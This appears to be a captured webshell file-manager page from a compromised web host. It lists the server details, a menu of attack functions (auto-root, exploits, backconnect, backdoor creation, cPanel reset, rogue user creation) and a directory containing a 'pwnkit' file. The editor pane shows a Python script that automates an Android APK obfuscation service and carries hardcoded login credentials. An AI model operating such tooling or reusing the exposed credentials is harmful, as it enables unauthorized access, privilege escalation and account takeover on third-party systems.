Linux s3.cpanelhost.co.in 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
LiteSpeed
: 65.108.44.247 | : 216.73.217.104
Cant Read [ /etc/named.conf ]
7.4.33
teac11783
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
teac11783 /
dexprotection.teacherslex.site /
slex-ai /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxrwxrwx
python_bot
[ DIR ]
drwxrwxrwx
temp
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
README.md
3.85
KB
-rw-rw-rw-
SETUP_GUIDE.md
2.84
KB
-rw-rw-rw-
TEXT.txt
2.36
KB
-rw-rw-rw-
admin_panel.php
15.81
KB
-rw-rw-rw-
analyze_response.py
882
B
-rw-rw-rw-
bot.php
15.29
KB
-rw-rw-rw-
config.php
2.77
KB
-rw-rw-rw-
cron.lock
39
B
-rw-r--r--
cron_log.txt
178.2
KB
-rw-r--r--
db.php
652
B
-rw-rw-rw-
debug_response_1780694966.txt
4.92
KB
-rw-rw-rw-
demo2.apk
9.07
MB
-rw-rw-rw-
demo2_PROTECTED.apk
13.52
MB
-rw-rw-rw-
error_log
17.94
MB
-rw-r--r--
find_runtime_field.py
1.04
KB
-rw-rw-rw-
fonts.php
1.45
KB
-rw-rw-rw-
heartbeat.php
940
B
-rw-rw-rw-
hello.txt.txt
0
B
-rw-rw-rw-
independent_admin.php
12.22
KB
-rw-rw-rw-
independent_cron.php
4.15
KB
-rw-rw-rw-
login_page.html
6.24
KB
-rw-rw-rw-
options_page.html
50.62
KB
-rw-rw-rw-
owner_panel.php
17.18
KB
-rw-rw-rw-
php0.zip
22.38
KB
-rw-rw-rw-
php1.zip
30.73
KB
-rw-rw-rw-
points.php
10.2
KB
-rw-rw-rw-
poll.php
2.07
KB
-rw-rw-rw-
protect_apk.py
9.31
KB
-rw-rw-rw-
protection_page.html
50.33
KB
-rw-rw-rw-
pwnkit
0
B
-rwxr-xr-x
set_webhook.php
430
B
-rw-rw-rw-
setup_webhook.php
1.42
KB
-rw-rw-rw-
slex-ai_function.php
5.6
KB
-rw-r--r--
test_dex.py
11.48
KB
-rw-rw-rw-
test_env.php
6.39
KB
-rw-rw-rw-
test_new_domain.py
1.66
KB
-rw-rw-rw-
test_protect_demo2.py
6.22
KB
-rw-rw-rw-
upload_response.html
118.23
KB
-rw-rw-rw-
wingo_cron.lock
0
B
-rw-r--r--
wingo_sync_auto.php
28.18
KB
-rw-rw-rw-
worker.php
17.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : protect_apk.py
# -*- coding: utf-8 -*- """ protect_apk.py - FINAL VERSION Full flow: Login -> Upload APK -> Poll until done -> Download protected APK Usage: python protect_apk.py """ import sys, io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace') import requests, urllib3, re, time, os, json urllib3.disable_warnings() # ── CONFIG ──────────────────────────────────────────────── USERNAME = "slex" PASSWORD = "pppp0000" BASE = "https://dexshellx.com" APK_PATH = "apk.apk" OUTPUT = "protected_result.apk" # Filters FILTERS = "!/\ncom/\n_COROUTINE/\nteacher/**" POLL_INTERVAL = 15 # seconds between status checks MAX_WAIT = 900 # 15 minutes max BASE_HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9", } # ───────────────────────────────────────────────────────── def log(msg): print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True) s = requests.Session() s.verify = False # ── STEP 1: Homepage → JSESSIONID ──────────────────────── log("STEP 1: Getting session cookie...") r = s.get(BASE + "/", headers=BASE_HEADERS, timeout=20) log(f" HTTP {r.status_code} | URL: {r.url} | Cookie: {dict(s.cookies)}") # ── STEP 2: Login ──────────────────────────────────────── log("STEP 2: Logging in...") s.get(BASE + "/dex/login", headers=BASE_HEADERS, timeout=20) login_h = {**BASE_HEADERS, "Content-Type": "application/x-www-form-urlencoded", "Origin": BASE, "Referer": BASE + "/dex/login", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", } r2 = s.post(BASE + "/dex/login", data={"user": USERNAME, "pass": PASSWORD, "language": "en_US"}, headers=login_h, timeout=20, allow_redirects=True) log(f" HTTP {r2.status_code} | URL: {r2.url}") if "/login" in r2.url: log(" [FAIL] Login failed! Check credentials.") sys.exit(1) log(" [OK] Logged in!") # ── STEP 3: Upload APK ─────────────────────────────────── log("STEP 3: Uploading APK...") log(f" File: {APK_PATH} ({os.path.getsize(APK_PATH):,} bytes)") protect_url = BASE + "/dex/protection/options" upload_h = { "User-Agent": BASE_HEADERS["User-Agent"], "Accept": "text/html,application/xhtml+xml,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9", "Origin": BASE, "Referer": BASE + "/dex/protection/options?mode=standard", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Dest": "document", } t0 = time.time() with open(APK_PATH, "rb") as apk: files = {"apkFile": ("apk.apk", apk, "application/vnd.android.package-archive")} data = { # Hidden fields "mode": "standard", "userModeValue": "false", # "No" = app STOPS if root/runtime checks fail "signatureAlias": "android", # Filter textareas — same value for all 3 (nativeLibFilters intentionally blank) "stringFilters": FILTERS, # String Encryption filters "hideFilters": FILTERS, # Hide Access filters "classFilters": FILTERS, # Class Encryption filters # All checkboxes (CORRECT names from form inspection) "optimize": "on", "stripLogging": "on", "crashHandler": "on", "webViewSupport": "on", "manifestMangling": "on", "assets": "on", "res": "on", "nameObf": "on", "root": "on", "strings": "on", "annotationEnc": "on", "stringEnc": "on", "hideAccess": "on", "classEnc": "on", "jniObf": "on", "nativeLib": "on", "antiAssinatura": "on", "antiEmulator": "on", "antiXposed": "on", "antiManual": "on", "antiDev": "on", "uiProtection": "on", "runtimeChecks": "on", } r3 = s.post(protect_url, headers=upload_h, files=files, data=data, timeout=120, allow_redirects=True) upload_time = round(time.time() - t0, 1) log(f" HTTP {r3.status_code} | Time: {upload_time}s | URL: {r3.url}") # Extract process ID from redirect URL m = re.search(r'process/detail\?id=(\d+)', r3.url) if not m: m = re.search(r'data-process-id=["\'](\d+)["\']', r3.text) if not m: log(" [FAIL] No process ID found in response!") with open("fail_response.html", "w", encoding="utf-8", errors="replace") as f: f.write(r3.text) log(" Saved fail_response.html for debug") sys.exit(1) process_id = m.group(1) log(f" [OK] Process created! ID: {process_id}") # Extract download token from initial page apk_download_url = None m_dl = re.search(r'href=["\'](/dex/process/download\?id=' + process_id + r'&(?:amp;)?type=apk&(?:amp;)?token=[^"\']+)["\']', r3.text) if m_dl: token_url = m_dl.group(1).replace('&', '&') apk_download_url = BASE + token_url log(f" Download URL captured: {token_url[:80]}...") # ── STEP 4: Poll status until DONE / ERROR ─────────────── log("STEP 4: Polling for completion...") status_url = BASE + f"/dex/process/detail/data?id={process_id}" detail_url = BASE + f"/dex/process/detail?id={process_id}" status_h = {**BASE_HEADERS, "Accept": "application/json, text/plain, */*", "Referer": detail_url} start = time.time() last_status = "" while True: elapsed = int(time.time() - start) if elapsed > MAX_WAIT: log(f" [TIMEOUT] Waited {MAX_WAIT}s — giving up.") sys.exit(1) try: # Try JSON status endpoint first rs = s.get(status_url, headers=status_h, timeout=20) status = "UNKNOWN" if rs.headers.get("Content-Type", "").startswith("application/json"): try: jd = rs.json() status = jd.get("status", jd.get("state", "UNKNOWN")).upper() if status != last_status: log(f" [{elapsed}s] Status: {status} | JSON: {json.dumps(jd)[:200]}") last_status = status except Exception: pass else: # Fallback: parse HTML for status sm = re.search(r'data-status=["\']([^"\']+)["\']', rs.text) if sm: status = sm.group(1).upper() if status != last_status: log(f" [{elapsed}s] Status: {status} (from HTML)") last_status = status if status in ("DONE", "SUCCESS", "FINISHED", "COMPLETED"): log(f" [OK] Processing complete after {elapsed}s!") break elif status in ("ERROR", "FAILED", "FAILURE"): log(f" [FAIL] Processing failed! Status: {status}") # Try to get download URL from detail page anyway rdp = s.get(detail_url, headers=BASE_HEADERS, timeout=20) m_err = re.search(r'href=["\'](/dex/process/download\?id=' + process_id + r'&(?:amp;)?type=error[^"\']*)["\']', rdp.text) if m_err: err_url = BASE + m_err.group(1).replace('&', '&') re_dl = s.get(err_url, headers=BASE_HEADERS, timeout=30) with open("error_log.txt", "wb") as ef: ef.write(re_dl.content) log(" Error log saved to: error_log.txt") sys.exit(1) except Exception as e: log(f" [WARN] Poll error: {e}") time.sleep(POLL_INTERVAL) # ── STEP 5: Download protected APK ─────────────────────── log("STEP 5: Downloading protected APK...") # Get fresh download URL from detail page rdp = s.get(detail_url, headers=BASE_HEADERS, timeout=20) m_dl2 = re.search(r'href=["\'](/dex/process/download\?id=' + process_id + r'&(?:amp;)?type=apk&(?:amp;)?token=[^"\']+)["\']', rdp.text) if m_dl2: apk_download_url = BASE + m_dl2.group(1).replace('&', '&') log(f" Download URL: {apk_download_url[:100]}...") elif not apk_download_url: log(" [FAIL] Could not find download URL!") with open("detail_page.html", "w", encoding="utf-8", errors="replace") as f: f.write(rdp.text) log(" Saved detail_page.html for debug") sys.exit(1) dl_h = {**BASE_HEADERS, "Referer": detail_url, "Accept": "application/octet-stream,*/*"} rd = s.get(apk_download_url, headers=dl_h, timeout=120, stream=True) log(f" Download HTTP {rd.status_code} | Content-Type: {rd.headers.get('Content-Type','?')}") total = 0 with open(OUTPUT, "wb") as out: for chunk in rd.iter_content(chunk_size=65536): if chunk: out.write(chunk) total += len(chunk) log(f" [OK] Saved: {OUTPUT} ({total:,} bytes)") log("") log("=" * 55) log(" PROTECTION COMPLETE!") log(f" Input: {APK_PATH} ({os.path.getsize(APK_PATH):,} bytes)") log(f" Output: {OUTPUT} ({total:,} bytes)") log("=" * 55)
Close